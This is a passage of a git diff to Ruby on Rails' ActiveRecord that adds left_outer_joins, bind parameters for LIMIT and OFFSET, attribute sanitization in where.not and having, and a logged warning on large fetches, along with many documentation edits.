value.select(value.klass.arel_table[value.klass.primary_key]) + value = value.select(value.arel_attribute(value.klass.primary_key)) end attribute.in(value.arel) diff --git a/activerecord/lib/active_record/relation/query_attribute.rb b/activerecord/lib/active_record/relation/query_attribute.rb index e69319b4de..7ba964e802 100644 --- a/activerecord/lib/active_record/relation/query_attribute.rb +++ b/activerecord/lib/active_record/relation/query_attribute.rb @@ -2,7 +2,7 @@ require 'active_record/attribute' module ActiveRecord class Relation - class QueryAttribute < Attribute + class QueryAttribute < Attribute # :nodoc: def type_cast(value) value end diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb index 69ce5cdc2a..6477629560 100644 --- a/activerecord/lib/active_record/relation/query_methods.rb +++ b/activerecord/lib/active_record/relation/query_methods.rb @@ -14,6 +14,8 @@ module ActiveRecord # WhereChain objects act as placeholder for queries in which #where does not have any parameter. # In this case, #where must be chained with #not to return a new relation. class WhereChain + include ActiveModel::ForbiddenAttributesProtection + def initialize(scope) @scope = scope end @@ -21,7 +23,7 @@ module ActiveRecord # Returns a new relation expressing WHERE + NOT condition according to # the conditions in the arguments. # - # +not+ accepts conditions as a string, array, or hash. See #where for + # #not accepts conditions as a string, array, or hash. See QueryMethods#where for # more details on each format. # # User.where.not("name = 'Jon'") @@ -42,6 +44,8 @@ module ActiveRecord # User.where.not(name: "Jon", role: "admin") # # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin' def not(opts, *rest) + opts = sanitize_forbidden_attributes(opts) + where_clause = @scope.send(:where_clause_factory).build(opts, rest) @scope.references!(PredicateBuilder.references(opts)) if Hash === opts @@ -50,16 +54,17 @@ module ActiveRecord end end + FROZEN_EMPTY_ARRAY = [].freeze Relation::MULTI_VALUE_METHODS.each do |name| class_eval <<-CODE, __FILE__, __LINE__ + 1 - def #{name}_values # def select_values - @values[:#{name}] || [] # @values[:select] || [] - end # end - # - def #{name}_values=(values) # def select_values=(values) - assert_mutability! # assert_mutability! - @values[:#{name}] = values # @values[:select] = values - end # end + def #{name}_values + @values[:#{name}] || FROZEN_EMPTY_ARRAY + end + + def #{name}_values=(values) + assert_mutability! + @values[:#{name}] = values + end CODE end @@ -94,11 +99,33 @@ module ActiveRecord end def bound_attributes - from_clause.binds + arel.bind_values + where_clause.binds + having_clause.binds + if limit_value && !string_containing_comma?(limit_value) + limit_bind = Attribute.with_cast_value( + "LIMIT".freeze, + connection.sanitize_limit(limit_value), + Type::Value.new, + ) + end + if offset_value + offset_bind = Attribute.with_cast_value( + "OFFSET".freeze, + offset_value.to_i, + Type::Value.new, + ) + end + connection.combine_bind_parameters( + from_clause: from_clause.binds, + join_clause: arel.bind_values, + where_clause: where_clause.binds, + having_clause: having_clause.binds, + limit: limit_bind, + offset: offset_bind, + ) end + FROZEN_EMPTY_HASH = {}.freeze def create_with_value # :nodoc: - @values[:create_with] || {} + @values[:create_with] || FROZEN_EMPTY_HASH end alias extensions extending_values @@ -113,7 +140,7 @@ module ActiveRecord # # allows you to access the +address+ attribute of the +User+ model without # firing an additional query. This will often result in a - # performance improvement over a simple +join+. + # performance improvement over a simple join. # # You can also specify multiple relationships, like this: # @@ -134,7 +161,7 @@ module ActiveRecord # # User.includes(:posts).where('posts.name = ?', 'example').references(:posts) # - # Note that +includes+ works with association names while +references+ needs + # Note that #includes works with association names while #references needs # the actual table name. def includes(*args) check_if_method_has_arguments!(:includes, args) @@ -152,9 +179,9 @@ module ActiveRecord # Forces eager loading by performing a LEFT OUTER JOIN on +args+: # # User.eager_load(:posts) - # => SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... - # FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = - # "users"."id" + # # SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... + # # FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = + # # "users"."id" def eager_load(*args) check_if_method_has_arguments!(:eager_load, args) spawn.eager_load!(*args) @@ -165,10 +192,10 @@ module ActiveRecord self end - # Allows preloading of +args+, in the same way that +includes+ does: + # Allows preloading of +args+, in the same way that #includes does: # # User.preload(:posts) - # => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3) + # # SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3) def preload(*args) check_if_method_has_arguments!(:preload, args) spawn.preload!(*args) @@ -181,14 +208,14 @@ module ActiveRecord # Use to indicate that the given +table_names+ are referenced by an SQL string, # and should therefore be JOINed in any query rather than loaded separately. - # This method only works in conjunction with +includes+. + # This method only works in conjunction with #includes. # See #includes for more details. # # User.includes(:posts).where("posts.name = 'foo'") - # # => Doesn't JOIN the posts table, resulting in an error. + # # Doesn't JOIN the posts table, resulting in an error. # # User.includes(:posts).where("posts.name = 'foo'").references(:posts) - # # => Query now knows the string references posts, so adds a JOIN + # # Query now knows the string references posts, so adds a JOIN def references(*table_names) check_if_method_has_arguments!(:references, table_names) spawn.references!(*table_names) @@ -204,12 +231,12 @@ module ActiveRecord # Works in two unique ways. # - # First: takes a block so it can be used just like Array#select. + # First: takes a block so it can be used just like +Array#select+. # # Model.all.select { |m| m.field == value } # # This will build an array of objects from the database for the scope, - # converting them into an array and iterating through them using Array#select. + # converting them into an array and iterating through them using +Array#select+. # # Second: Modifies the SELECT statement for the query so that only certain # fields are retrieved: @@ -237,23 +264,20 @@ module ActiveRecord # # => "value" # # Accessing attributes of an object that do not have fields retrieved by a select - # except +id+ will throw <tt>ActiveModel::MissingAttributeError</tt>: + # except +id+ will throw ActiveModel::MissingAttributeError: # # Model.select(:field).first.other_field # # => ActiveModel::MissingAttributeError: missing attribute: other_field def select(*fields) - if block_given? - to_a.select { |*block_args| yield(*block_args) } - else - raise ArgumentError, 'Call this with at least one field' if fields.empty? - spawn._select!(*fields) - end + return super if block_given? + raise ArgumentError, 'Call this with at least one field' if fields.empty? + spawn._select!(*fields) end def _select!(*fields) # :nodoc: fields.flatten! fields.map! do |field| - klass.attribute_alias?(field) ? klass.attribute_alias(field) : field + klass.attribute_alias?(field) ? klass.attribute_alias(field).to_sym : field end self.select_values += fields self @@ -262,22 +286,23 @@ module ActiveRecord # Allows to specify a group attribute: # # User.group(:name) - # => SELECT "users".* FROM "users" GROUP BY name + # # SELECT "users".* FROM "users" GROUP BY name # # Returns an array with distinct records based on the +group+ attribute: # # User.select([:id, :name]) - # => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo"> + # # => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo">] # # User.group(:name) - # => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>] + # # => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>] # # User.group('name AS grouped_name, age') - # => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>] + # # => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>] # # Passing in an array of attributes to group by is also supported. + # # User.select([:id, :first_name]).group(:id, :first_name).first(3) - # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">] + # # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">] def group(*args) check_if_method_has_arguments!(:group, args) spawn.group!(*args) @@ -293,22 +318,22 @@ module ActiveRecord # Allows to specify an order attribute: # # User.order(:name) - # => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC + # # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC # # User.order(email: :desc) - # => SELECT "users".* FROM "users" ORDER BY "users"."email" DESC + # # SELECT "users".* FROM "users" ORDER BY "users"."email" DESC # # User.order(:name, email: :desc) - # => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC + # # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC # # User.order('name') - # => SELECT "users".* FROM "users" ORDER BY name + # # SELECT "users".* FROM "users" ORDER BY name # # User.order('name DESC') - # => SELECT "users".* FROM "users" ORDER BY name DESC + # # SELECT "users".* FROM "users" ORDER BY name DESC # # User.order('name DESC, email') - # => SELECT "users".* FROM "users" ORDER BY name DESC, email + # # SELECT "users".* FROM "users" ORDER BY name DESC, email def order(*args) check_if_method_has_arguments!(:order, args) spawn.order!(*args) @@ -360,15 +385,15 @@ module ActiveRecord # User.order('email DESC').select('id').where(name: "John") # .unscope(:order, :select, :where) == User.all # - # One can additionally pass a hash as an argument to unscope specific :where values. + # One can additionally pass a hash as an argument to unscope specific +:where+ values. # This is done by passing a hash with a single key-value pair. The key should be - # :where and the value should be the where value to unscope. For example: + # +:where+ and the value should be the where value to unscope. For example: # # User.where(name: "John", active: true).unscope(where: :name) # == User.where(active: true) # - # This method is similar to <tt>except</tt>, but unlike - # <tt>except</tt>, it persists across merges: + # This method is similar to #except, but unlike + # #except, it persists across merges: # # User.order('email').merge(User.except(:order)) # == User.order('email') @@ -378,7 +403,7 @@ module ActiveRecord # # This means it can be used in association definitions: # - # has_many :comments, -> { unscope where: :trashed } + # has_many :comments, -> { unscope(where: :trashed) } # def unscope(*args) check_if_method_has_arguments!(:unscope, args) @@ -410,15 +435,35 @@ module ActiveRecord self end - # Performs a joins on +args+: + # Performs a joins on +args+. The given symbol(s) should match the name of + # the association(s). # # User.joins(:posts) - # => SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" + # # SELECT "users".* + # # FROM "users" + # # INNER JOIN "posts" ON "posts"."user_id" = "users"."id" + # + # Multiple joins: + # + # User.joins(:posts, :account) + # # SELECT "users".* + # # FROM "users" + # # INNER JOIN "posts" ON "posts"."user_id" = "users"."id" + # # INNER JOIN "accounts" ON "accounts"."id" = "users"."account_id" + # + # Nested joins: + # + # User.joins(posts: [:comments]) + # # SELECT "users".* + # # FROM "users" + # # INNER JOIN "posts" ON "posts"."user_id" = "users"."id" + # # INNER JOIN "comments" "comments_posts" + # # ON "comments_posts"."post_id" = "posts"."id" # # You can use strings in order to customize your joins: # # User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id") - # => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id + # # SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id def joins(*args) check_if_method_has_arguments!(:joins, args) spawn.joins!(*args) @@ -431,6 +476,27 @@ module ActiveRecord self end + # Performs a left outer joins on +args+: + # + # User.left_outer_joins(:posts) + # => SELECT "users".* FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id" + # + def left_outer_joins(*args) + check_if_method_has_arguments!(:left_outer_joins, args) + + args.compact! + args.flatten! + + spawn.left_outer_joins!(*args) + end + alias :left_joins :left_outer_joins + + def left_outer_joins!(*args) # :nodoc: + self.left_outer_joins_values += args + self + end + alias :left_joins! :left_outer_joins! + # Returns a new relation, which is the result of filtering the current relation # according to the conditions in the arguments. # @@ -474,7 +540,7 @@ module ActiveRecord # than the previous methods; you are responsible for ensuring that the values in the template # are properly quoted. The values are passed to the connector for quoting, but the caller # is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting, - # the values are inserted using the same escapes as the Ruby core method <tt>Kernel::sprintf</tt>. + # the values are inserted using the same escapes as the Ruby core method +Kernel::sprintf+. # # User.where(["name = '%s' and email = '%s'", "Joe", "joe@example.com"]) # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com'; @@ -551,7 +617,7 @@ module ActiveRecord # If the condition is any blank-ish object, then #where is a no-op and returns # the current relation. def where(opts = :chain, *rest) - if opts == :chain + if :chain == opts WhereChain.new(spawn) elsif opts.blank? self @@ -561,23 +627,25 @@ module ActiveRecord end def where!(opts, *rest) # :nodoc: - if Hash === opts - opts = sanitize_forbidden_attributes(opts) - references!(PredicateBuilder.references(opts)) - end - + opts = sanitize_forbidden_attributes(opts) + references!(PredicateBuilder.references(opts)) if Hash === opts self.where_clause += where_clause_factory.build(opts, rest) self end # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition. # - # Post.where(trashed: true).where(trashed: false) # => WHERE `trashed` = 1 AND `trashed` = 0 - # Post.where(trashed: true).rewhere(trashed: false) # => WHERE `trashed` = 0 - # Post.where(active: true).where(trashed: true).rewhere(trashed: false) # => WHERE `active` = 1 AND `trashed` = 0 + # Post.where(trashed: true).where(trashed: false) + # # WHERE `trashed` = 1 AND `trashed` = 0 + # + # Post.where(trashed: true).rewhere(trashed: false) + # # WHERE `trashed` = 0 # - # This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we're only unscoping - # the named conditions -- not the entire where statement. + # Post.where(active: true).where(trashed: true).rewhere(trashed: false) + # # WHERE `active` = 1 AND `trashed` = 0 + # + # This is short-hand for <tt>unscope(where: conditions.keys).where(conditions)</tt>. + # Note that unlike reorder, we're only unscoping the named conditions -- not the entire where statement. def rewhere(conditions) unscope(where: conditions.keys).where(conditions) end @@ -586,19 +654,25 @@ module ActiveRecord # argument. # # The two relations must be structurally compatible: they must be scoping the same model, and - # they must differ only by +where+ (if no +group+ has been defined) or +having+ (if a +group+ is - # present). Neither relation may have a +limit+, +offset+, or +uniq+ set. + # they must differ only by #where (if no #group has been defined) or #having (if a #group is + # present). Neither relation may have a #limit, #offset, or #distinct set. # - # Post.where("id = 1").or(Post.where("id = 2")) - # # SELECT `posts`.* FROM `posts` WHERE (('id = 1' OR 'id = 2')) + # Post.where("id = 1").or(Post.where("author_id = 3")) + # # SELECT `posts`.* FROM `posts` WHERE (('id = 1' OR 'author_id = 3')) # def or(other) + unless other.is_a? Relation + raise ArgumentError, "You have passed #{other.class.name} object to #or. Pass an ActiveRecord::Relation object instead." + end + spawn.or!(other) end def or!(other) # :nodoc: - unless structurally_compatible_for_or?(other) - raise ArgumentError, 'Relation passed to #or must be structurally compatible' + incompatible_values = structurally_incompatible_values_for_or(other) + + unless incompatible_values.empty? + raise ArgumentError, "Relation passed to #or must be structurally compatible. Incompatible values: #{incompatible_values}" end self.where_clause = self.where_clause.or(other.where_clause) @@ -607,12 +681,6 @@ module ActiveRecord self end - private def structurally_compatible_for_or?(other) # :nodoc: - Relation::SINGLE_VALUE_METHODS.all? { |m| send("#{m}_value") == other.send("#{m}_value") } && - (Relation::MULTI_VALUE_METHODS - [:extending]).all? { |m| send("#{m}_values") == other.send("#{m}_values") } && - (Relation::CLAUSE_METHODS - [:having, :where]).all? { |m| send("#{m}_clause") != other.send("#{m}_clause") } - end - # Allows to specify a HAVING clause. Note that you can't use HAVING # without also specifying a GROUP clause. # @@ -622,6 +690,7 @@ module ActiveRecord end def having!(opts, *rest) # :nodoc: + opts = sanitize_forbidden_attributes(opts) references!(PredicateBuilder.references(opts)) if Hash === opts self.having_clause += having_clause_factory.build(opts, rest) @@ -638,6 +707,13 @@ module ActiveRecord end def limit!(value) # :nodoc: + if string_containing_comma?(value) + # Remove `string_containing_comma?` when removing this deprecation + ActiveSupport::Deprecation.warn(<<-WARNING.squish) + Passing a string to limit in the form "1,2" is deprecated and will be + removed in Rails 5.1. Please call `offset` explicitly instead. + WARNING + end self.limit_value = value self end @@ -659,7 +735,7 @@ module ActiveRecord end # Specifies locking settings (default to +true+). For more information - # on locking, please see +ActiveRecord::Locking+. + # on locking, please see ActiveRecord::Locking. def lock(locks = true) spawn.lock!(locks) end @@ -690,7 +766,7 @@ module ActiveRecord # For example: # # @posts = current_user.visible_posts.where(name: params[:name]) - # # => the visible_posts method is expected to return a chainable Relation + # # the visible_posts method is expected to return a chainable Relation # # def visible_posts # case role @@ -716,7 +792,7 @@ module ActiveRecord # # users = User.readonly # users.first.save - # => ActiveRecord::ReadOnlyRecord: ActiveRecord::ReadOnlyRecord + # => ActiveRecord::ReadOnlyRecord: User is marked as readonly def readonly(value = true) spawn.readonly!(value) end @@ -735,7 +811,7 @@ module ActiveRecord # users = users.create_with(name: 'DHH') # users.new.name # => 'DHH' # - # You can pass +nil+ to +create_with+ to reset attributes: + # You can pass +nil+ to #create_with to reset attributes: # # users = users.create_with(nil) # users.new.name # => 'Oscar' @@ -757,15 +833,15 @@ module ActiveRecord # Specifies table from which the records will be fetched. For example: # # Topic.select('title').from('posts') - # # => SELECT title FROM posts + # # SELECT title FROM posts # # Can accept other relation objects. For example: # # Topic.select('title').from(Topic.approved) - # # => SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery + # # SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery # # Topic.select('a.title').from(Topic.approved, :a) - # # => SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a + # # SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a # def from(value, subquery_name = nil) spawn.from!(value, subquery_name) @@ -779,17 +855,18 @@ module ActiveRecord # Specifies whether the records should be unique or not. For example: # # User.select(:name) - # # => Might return two records with the same name + # # Might return two records with the same name # # User.select(:name).distinct - # # => Returns 1 record per distinct name + # # Returns 1 record per distinct name # # User.select(:name).distinct.distinct(false) - # # => You can also remove the uniqueness + # # You can also remove the uniqueness def distinct(value = true) spawn.distinct!(value) end alias uniq distinct + deprecate uniq: :distinct # Like #distinct, but modifies relation in place. def distinct!(value = true) # :nodoc: @@ -797,6 +874,7 @@ module ActiveRecord self end alias uniq! distinct! + deprecate uniq!: :distinct! # Used to extend a scope with additional methods, either through # a module or through a block provided. @@ -882,11 +960,18 @@ module ActiveRecord arel = Arel::SelectManager.new(table) build_joins(arel, joins_values.flatten) unless joins_values.empty? + build_left_outer_joins(arel, left_outer_joins_values.flatten) unless left_outer_joins_values.empty? arel.where(where_clause.ast) unless where_clause.empty? arel.having(having_clause.ast) unless having_clause.empty? - arel.take(connection.sanitize_limit(limit_value)) if limit_value - arel.skip(offset_value.to_i) if offset_value + if limit_value + if string_containing_comma?(limit_value) + arel.take(connection.sanitize_limit(limit_value)) + else + arel.take(Arel::Nodes::BindParam.new) + end + end + arel.skip(Arel::Nodes::BindParam.new) if offset_value arel.group(*arel_columns(group_values.uniq.reject(&:blank?))) unless group_values.empty? build_order(arel) @@ -941,6 +1026,19 @@ module ActiveRecord end end + def build_left_outer_joins(manager, outer_joins) + buckets = outer_joins.group_by do |join| + case join + when Hash, Symbol, Array + :association_join + else + raise ArgumentError, 'only Hash, Symbol and Array are allowed' + end + end + + build_join_query(manager, buckets, Arel::Nodes::OuterJoin) + end + def build_joins(manager, joins) buckets = joins.group_by do |join| case join @@ -956,6 +1054,11 @@ module ActiveRecord raise 'unknown class: %s' % join.class.name end end + + build_join_query(manager, buckets, Arel::Nodes::InnerJoin) + end + + def build_join_query(manager, buckets, join_type) buckets.default = [] association_joins = buckets[:association_join] @@ -971,7 +1074,7 @@ module ActiveRecord join_list ) - join_infos = join_dependency.join_constraints stashed_association_joins + join_infos = join_dependency.join_constraints stashed_association_joins, join_type join_infos.each do |info| info.joins.each { |join| manager.from(join) } @@ -999,28 +1102,35 @@ module ActiveRecord end def arel_columns(columns) - if from_clause.value - columns - else - columns.map do |field| - if (Symbol === field || String === field) && columns_hash.key?(field.to_s) - arel_table[field] - else - field - end + columns.map do |field| + if (Symbol === field || String === field) && (klass.has_attribute?(field) || klass.attribute_alias?(field)) && !from_clause.value + arel_attribute(field) + elsif Symbol === field + connection.quote_table_name(field.to_s) + else + field end end end def reverse_sql_order(order_query) - order_query = ["#{quoted_table_name}.#{quoted_primary_key} ASC"] if order_query.empty? + if order_query.empty? + return [arel_attribute(primary_key).desc] if primary_key + raise IrreversibleOrderError, + "Relation has no current order and table has no primary key to be used as default order" + end order_query.flat_map do |o| case o + when Arel::Attribute + o.desc when Arel::Nodes::Ordering o.reverse when String - o.to_s.split(',').map! do |s| + if does_not_support_reverse?(o) + raise IrreversibleOrderError, "Order #{o.inspect} can not be reversed automatically" + end + o.split(',').map! do |s| s.strip! s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC') end @@ -1030,6 +1140,13 @@ module ActiveRecord end end + def does_not_support_reverse?(order) + #uses sql function with multiple arguments + order =~ /\([^()]*,[^()]*\)/ || + # uses "nulls first" like construction + order =~ /nulls (first|last)\Z/i + end + def build_order(arel) orders = order_values.uniq orders.reject!(&:blank?) @@ -1051,6 +1168,9 @@ module ActiveRecord end def preprocess_order_args(order_args) + order_args.map! do |arg| + klass.send(:sanitize_sql_for_order, arg) + end order_args.flatten! validate_order_args(order_args) @@ -1062,12 +1182,10 @@ module ActiveRecord order_args.map! do |arg| case arg when Symbol - arg = klass.attribute_alias(arg) if klass.attribute_alias?(arg) - table[arg].asc + arel_attribute(arg).asc when Hash arg.map { |field, dir| - field = klass.attribute_alias(field) if klass.attribute_alias?(field) - table[field].send(dir.downcase) + arel_attribute(field).send(dir.downcase) } else arg @@ -1081,8 +1199,8 @@ module ActiveRecord # # Example: # - # Post.references() # => raises an error - # Post.references([]) # => does not raise an error + # Post.references() # raises an error + # Post.references([]) # does not raise an error # # This particular method should be called with a method_name and the args # passed into that method as an input. For example: @@ -1097,6 +1215,12 @@ module ActiveRecord end end + def structurally_incompatible_values_for_or(other) + Relation::SINGLE_VALUE_METHODS.reject { |m| send("#{m}_value") == other.send("#{m}_value") } + + (Relation::MULTI_VALUE_METHODS - [:extending]).reject { |m| send("#{m}_values") == other.send("#{m}_values") } + + (Relation::CLAUSE_METHODS - [:having, :where]).reject { |m| send("#{m}_clause") == other.send("#{m}_clause") } + end + def new_where_clause Relation::WhereClause.empty end @@ -1110,5 +1234,9 @@ module ActiveRecord def new_from_clause Relation::FromClause.empty end + + def string_containing_comma?(value) + ::String === value && value.include?(",") + end end end diff --git a/activerecord/lib/active_record/relation/record_fetch_warning.rb b/activerecord/lib/active_record/relation/record_fetch_warning.rb new file mode 100644 index 0000000000..dbd08811fa --- /dev/null +++ b/activerecord/lib/active_record/relation/record_fetch_warning.rb @@ -0,0 +1,49 @@ +module ActiveRecord + class Relation + module RecordFetchWarning + # When this module is prepended to ActiveRecord::Relation and + # `config.active_record.warn_on_records_fetched_greater_than` is + # set to an integer, if the number of records a query returns is + # greater than the value of `warn_on_records_fetched_greater_than`, + # a warning is logged. This allows for the detection of queries that + # return a large number of records, which could cause memory bloat. + # + # In most cases, fetching large number of records can be performed + # efficiently using the ActiveRecord::Batches methods. + # See active_record/lib/relation/batches.rb for more information. + def exec_queries + QueryRegistry.reset + + super.tap do + if logger && warn_on_records_fetched_greater_than + if @records.length > warn_on_records_fetched_greater_than + logger.warn "Query fetched #{@records.size} #{@klass} records: #{QueryRegistry.queries.join(";")}" + end + end + end + end + + # :stopdoc: + ActiveSupport::Notifications.subscribe("sql.active_record") do |*, payload| + QueryRegistry.queries << payload[:sql] + end + # :startdoc: + + class QueryRegistry # :nodoc: + extend ActiveSupport::PerThreadRegistry + + attr_reader :queries + + def initialize + @queries = [] + end + + def reset + @queries.clear + end + end + end + end +end + +ActiveRecord::Relation.prepend ActiveRecord::Relation::RecordFetchWarning diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb index 70da37fa84..d5c18a2a4a 100644 --- a/activerecord/lib/active_record/relation/spawn_methods.rb +++ b/activerecord/lib/active_record/relation/spawn_methods.rb @@ -10,8 +10,9 @@ module ActiveRecord clone end - # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an <tt>ActiveRecord::Relation</tt>. + # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an ActiveRecord::Relation. # Returns an array representing the intersection of the resulting records with <tt>other</tt>, if <tt>other</tt> is an array. + # # Post.where(published: true).joins(:comments).merge( Comment.where(spam: false) ) # # Performs a single join query with both where conditions. # @@ -28,7 +29,7 @@ module ActiveRecord # This is mainly intended for sharing common conditions between multiple associations. def merge(other) if other.is_a?(Array) - to_a & other + records & other elsif other spawn.merge!(other) else @@ -37,11 +38,14 @@ module ActiveRecord end def merge!(other) # :nodoc: - if !other.is_a?(Relation) && other.respond_to?(:to_proc) + if other.is_a?(Hash) + Relation::HashMerger.new(self, other).merge + elsif other.is_a?(Relation) + Relation::Merger.new(self, other).merge + elsif other.respond_to?(:to_proc) instance_exec(&other) else - klass = other.is_a?(Hash) ? Relation::HashMerger : Relation::Merger - klass.new(self, other).merge + raise ArgumentError, "#{other.inspect} is not an ActiveRecord::Relation" end end diff --git a/activerecord/lib/active_record/relation/where_clause.rb b/activerecord/lib/active_record/relation/where_clause.rb index f9b9e640ec..89396b518c 100644 --- a/activerecord/lib/active_record/relation/where_clause.rb +++ b/activerecord/lib/active_record/relation/where_clause.rb @@ -81,7 +81,7 @@ module ActiveRecord end def self.empty - new([], []) + @empty ||= new([], []) end protected @@ -135,7 +135,7 @@ module ActiveRecord def predicates_except(columns) predicates.reject do |node| case node - when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThanOrEqual + when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThan, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThan, Arel::Nodes::GreaterThanOrEqual subrelation = (node.left.kind_of?(Arel::Attributes::Attribute) ? node.left : node.right) columns.include?(subrelation.name.to_s) end @@ -158,8 +158,9 @@ module ActiveRecord end end + ARRAY_WITH_EMPTY_STRING = [''] def non_empty_predicates - predicates - [''] + predicates - ARRAY_WITH_EMPTY_STRING end def wrap_sql_literal(node) diff --git a/activerecord/lib/active_record/relation/where_clause_factory.rb b/activerecord/lib/active_record/relation/where_clause_factory.rb index 0430922be3..dbf172a577 100644 --- a/activerecord/lib/active_record/relation/where_clause_factory.rb +++ b/activerecord/lib/active_record/relation/where_clause_factory.rb @@ -1,6 +1,6 @@ module ActiveRecord class Relation - class WhereClauseFactory + class WhereClauseFactory # :nodoc: def initialize(klass, predicate_builder) @klass = klass @predicate_builder = predicate_builder @@ -15,12 +15,16 @@ module ActiveRecord when Hash attributes = predicate_builder.resolve_column_aliases(opts) attributes = klass.send(:expand_hash_conditions_for_aggregates, attributes) + attributes.stringify_keys! attributes, binds = predicate_builder.create_binds(attributes) parts = predicate_builder.build_from_hash(attributes) - else + when Arel::Nodes::Node parts = [opts] + binds = other + else + raise ArgumentError, "Unsupported argument type: #{opts} (#{opts.class})" end WhereClause.new(parts, binds) diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb index 500c478e65..8e6cd6c82f 100644 --- a/activerecord/lib/active_record/result.rb +++ b/activerecord/lib/active_record/result.rb @@ -1,7 +1,8 @@ module ActiveRecord ### - # This class encapsulates a Result returned from calling +exec_query+ on any - # database connection adapter. For example: + # This class encapsulates a result returned from calling + # {#exec_query}[rdoc-ref:ConnectionAdapters::DatabaseStatements#exec_query] + # on any database connection adapter. For example: # # result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts') # result # => #<ActiveRecord::Result:0xdeadbeef> diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb index 9d605b826a..56e88bc661 100644 --- a/activerecord/lib/active_record/runtime_registry.rb +++ b/activerecord/lib/active_record/runtime_registry.rb @@ -7,7 +7,7 @@ module ActiveRecord # # returns the connection handler local to the current thread. # - # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt> + # See the documentation of ActiveSupport::PerThreadRegistry # for further details. class RuntimeRegistry # :nodoc: extend ActiveSupport::PerThreadRegistry diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb index c7f55ebaa1..a9e1fd0dad 100644 --- a/activerecord/lib/active_record/sanitization.rb +++ b/activerecord/lib/active_record/sanitization.rb @@ -3,25 +3,34 @@ module ActiveRecord extend ActiveSupport::Concern module ClassMethods - # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>. - def sanitize(object) #:nodoc: + # Used to sanitize objects before they're used in an SQL SELECT statement. + # Delegates to {connection.quote}[rdoc-ref:ConnectionAdapters::Quoting#quote]. + def sanitize(object) # :nodoc: connection.quote(object) end alias_method :quote_value, :sanitize protected - # Accepts an array, hash, or string of SQL conditions and sanitizes + # Accepts an array or string of SQL conditions and sanitizes # them into a valid SQL fragment for a WHERE clause. - # ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'" - # { name: "foo'bar", group_id: 4 } returns "name='foo''bar' and group_id='4'" - # "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'" - def sanitize_sql_for_conditions(condition, table_name = self.table_name) + # + # sanitize_sql_for_conditions(["name=? and group_id=?", "foo'bar", 4]) + # # => "name='foo''bar' and group_id=4" + # + # sanitize_sql_for_conditions(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4]) + # # => "name='foo''bar' and group_id='4'" + # + # sanitize_sql_for_conditions(["name='%s' and group_id='%s'", "foo'bar", 4]) + # # => "name='foo''bar' and group_id='4'" + # + # sanitize_sql_for_conditions("name='foo''bar' and group_id='4'") + # # => "name='foo''bar' and group_id='4'" + def sanitize_sql_for_conditions(condition) return nil if condition.blank? case condition when Array; sanitize_sql_array(condition) - when Hash; sanitize_sql_hash_for_conditions(condition, table_name) else condition end end @@ -30,7 +39,18 @@ module ActiveRecord # Accepts an array, hash, or string of 